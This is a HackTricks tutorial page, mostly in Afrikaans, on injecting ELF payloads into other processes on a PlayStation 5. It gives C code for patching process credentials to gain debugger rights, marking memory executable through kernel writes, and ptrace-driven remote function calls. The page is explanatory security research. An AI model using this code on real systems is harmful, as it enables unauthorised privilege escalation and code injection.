FreeBSD ptrace RFI and vm_map PROT_EXEC bypass (PS5 gevalstudie)
Reading time: 8 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Oorsig
Hierdie bladsy dokumenteer 'n praktiese Unix/BSD usermode process/ELF injection technique op PlayStation 5 (PS5), wat gebaseer is op FreeBSD. Die metode generaliseer na FreeBSD-afgeleides as jy reeds kernel read/write (R/W) primitives het. Hoëvlak:
- Patcheer die huidige proses-credentials (ucred) om debugger-owerheid toe te ken, wat ptrace/mdbg op arbitrêre gebruikerprosesse moontlik maak.
- Vind teikenprosesse deur die kernel allproc-lys te deursoek.
- Om PROT_EXEC-beperkings te omseil deur vm_map_entry.protection |= PROT_EXEC in die teiken se vm_map te skryf met kernel data-skrywe.
- Gebruik ptrace om Remote Function Invocation (RFI) uit te voer: skors 'n thread, stel registers om arbitrêre funksies binne die teiken aan te roep, hervat, versamel terugkeerwaardes, en herstel toestand.
- Map en voer arbitrêre ELF-payloads binne die teiken uit met 'n in-process ELF loader, en spawn dan 'n toegewyde thread wat jou payload uitvoer en 'n breakpoint trigger om skoon te detach.
PS5 hypervisor-mitigasies om op te let (gekontekstualiseer vir hierdie tegniek):
- XOM (execute-only .text) verhoed lees/skryf van kernel .text.
- Die leëmaak van CR0.WP of die deaktiveer van CR4.SMEP veroorsaak 'n hypervisor vmexit (crash). Net data-only kernel-skrewe is lewensvatbaar.
- Userland mmap is standaard beperk tot PROT_READ|PROT_WRITE. Om PROT_EXEC toe te ken moet gedoen word deur vm_map inskrywings in kernel-geheue te wysig.
Hierdie tegniek is post-exploitation: dit veronderstel kernel R/W primitives vanaf 'n exploit chain. Publieke payloads demonstreer dit tot firmware 10.01 ten tyde van skryf.
Kernel data-only primitiewe
Prosesontdekking via allproc
FreeBSD onderhou 'n dubbelsgekoppelde lys van prosesse in die kernel .data by allproc. Met 'n kernel read primitive, deurloop dit om prosesname en PIDs te lokaliseer:
struct proc* find_proc_by_name(const char* proc_name){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); // list head
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc)); // read entry
if (!strcmp(proc->p_comm, proc_name)) return proc;
kernel_copyout(next, &next, sizeof(uint64_t)); // advance next
} while (next);
free(proc);
return NULL;
}
void list_all_proc_and_pid(){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t));
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc));
printf("%s - %d\n", proc->p_comm, proc->pid);
kernel_copyout(next, &next, sizeof(uint64_t));
} while (next);
free(proc);
}
Aantekeninge:
- KERNEL_ADDRESS_ALLPROC is firmware-afhanklik.
- p_comm is 'n vasgrootte-naam; oorweeg pid->proc-opsoeke indien nodig.
Verhoog toegangsregte vir debugging (ucred)
Op PS5, struct ucred bevat 'n Authority ID-veld wat bereikbaar is via proc->p_ucred. Deur die debugger Authority ID te skryf, verleen dit ptrace/mdbg oor ander prosesse:
void set_ucred_to_debugger(){
struct proc* proc = get_proc_by_pid(getpid());
if (proc){
uintptr_t authid = 0; // read current (optional)
uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID
kernel_copyout((uintptr_t)proc->p_ucred + 0x58, &authid, sizeof(uintptr_t));
kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t));
free(proc);
}
}
- Offset 0x58 is spesifiek vir die PS5 firmware-familie en moet per weergawe geverifieer word.
- Na hierdie write kan die injector aanheg en gebruikersprosesse instrumenteer via ptrace/mdbg.
Omseil van RW-only user mappings: vm_map PROT_EXEC flip
Userland mmap mag beperk wees tot PROT_READ|PROT_WRITE. FreeBSD volg 'n proses se adresruimte in 'n vm_map bestaande uit vm_map_entry nodes (BST plus lys). Elke entry bevat die protection en max_protection fields:
struct vm_map_entry {
struct vm_map_entry *prev,*next,*left,*right;
vm_offset_t start, end, avail_ssize;
vm_size_t adj_free, max_free;
union vm_map_object object; vm_ooffset_t offset; vm_eflags_t eflags;
vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance;
int wired_count; vm_pindex_t lastr;
};
Met kernel R/W kan jy die teiken se vm_map opspoor en entry->protection |= PROT_EXEC stel (en, indien nodig, entry->max_protection). Praktiese implementasie-opmerkings:
- Walk entries either linearly via next or using the balanced-tree (left/right) for O(log n) search by address range.
- Kies 'n bekende RW-streek wat jy beheer (scratch buffer of mapped file) en voeg PROT_EXEC by sodat jy code of loader thunks kan plaas.
- PS5 SDK-kode bied helpers vir vinnige map-entry lookup en omskakeling van protections.
Dit omseil userland se mmap-beleid deur kernel-owned metadata direk te wysig.
Remote Function Invocation (RFI) met ptrace
FreeBSD het nie Windows-style VirtualAllocEx/CreateRemoteThread nie. In plaas daarvan, laat die teiken funksies op homself aanroep onder ptrace-kontrole:
- Attach to the target and select a thread; PTRACE_ATTACH or PS5-specific mdbg flows may apply.
- Save thread context: registers, PC, SP, flags.
- Write argument registers per the ABI (x86_64 SysV or arm64 AAPCS64), set PC to the target function, and optionally place additional args/stack as needed.
- Single-step or continue until a controlled stop (e.g., software breakpoint or signal), then read back return values from regs.
- Restore original context and continue.
Gebruikgevalle:
- Roep 'n in-proses ELF loader aan (e.g., elfldr_load) met 'n pointer na jou ELF image in die teiken se geheue.
- Roep helper routines aan om teruggegewe entrypoints en payload-args pointers te haal.
Example of driving the ELF loader:
intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target);
intptr_t args = elfldr_payload_args(target_pid);
printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args);
Die loader maps segments, resolves imports, applies relocations en gee die entry terug (dikwels 'n CRT bootstrap) plus 'n opaque payload_args pointer wat jou stager aan die payload’s main() deurgee.
Threaded stager en netjiese detach
’n minimale stager binne die target skep ’n nuwe pthread wat die ELF’s main uitvoer en dan int3 trigger om die injector te sein om te detach:
int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions){
pthread_t thread;
functions->pthread_create_ptr(&thread, 0,
(void*(*)(void*))functions->elf_main, functions->payload_args);
asm("int3");
return 0;
}
- Die SCEFunctions/payload_args pointers word verskaf deur die loader/SDK glue.
- Na die breakpoint en detach gaan die payload voort in sy eie thread.
Eind-tot-eind pyplyn (PS5 verwysingsimplementering)
'n Werkende implementering word gelewer as 'n klein TCP injector-server plus 'n kliëntskrip:
- NineS-server luister op TCP 9033 en ontvang 'n header wat die doelprosesnaam bevat, gevolg deur die ELF image:
typedef struct __injector_data_t{
char proc_name[MAX_PROC_NAME];
Elf64_Ehdr elf_header;
} injector_data_t;
- Gebruik van Python-kliënt:
python3 ./send_injection_elf.py SceShellUI hello_world.elf <PS5_IP>
Hello-world payload voorbeeld (skryf na klog):
#include <stdio.h>
#include <unistd.h>
#include <ps5/klog.h>
int main(){
klog_printf("Hello from PID %d\n", getpid());
return 0;
}
Praktiese oorwegings
- Offsets en konstantes (allproc, ucred authority offset, vm_map layout, ptrace/mdbg details) is firmware-spesifiek en moet per vrystelling opgedateer word.
- Hypervisor-beskermings dwing data-only kernel-skrifte af; moenie probeer om CR0.WP of CR4.SMEP te patch nie.
- JIT memory is 'n alternatief: sommige prosesse openbaar PS5 JIT APIs om uitvoerbare bladsye toe te ken. Die vm_map protection flip verwyder die behoefte om op JIT/mirroring truuks staat te maak.
- Hou register save/restore robuust; by mislukking kan jy 'n deadlock of crash van die target veroorsaak.
Publieke gereedskap
- PS5 SDK (dynamic linking, kernel R/W wrappers, vm_map helpers): https://github.com/ps5-payload-dev/sdk
- ELF loader: https://github.com/ps5-payload-dev/elfldr
- Injector server: https://github.com/buzzer-re/NineS/
- Utilities/vm_map helpers: https://github.com/buzzer-re/playstation_research_utils
- Related projects: https://github.com/OpenOrbis/mira-project, https://github.com/ps5-payload-dev/gdbsrv
References
- Usermode ELF injection on the PlayStation 5
- ps5-payload-dev/sdk
- ps5-payload-dev/elfldr
- buzzer-re/NineS
- playstation_research_utils
- Mira
- gdbsrv
- FreeBSD klog reference
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.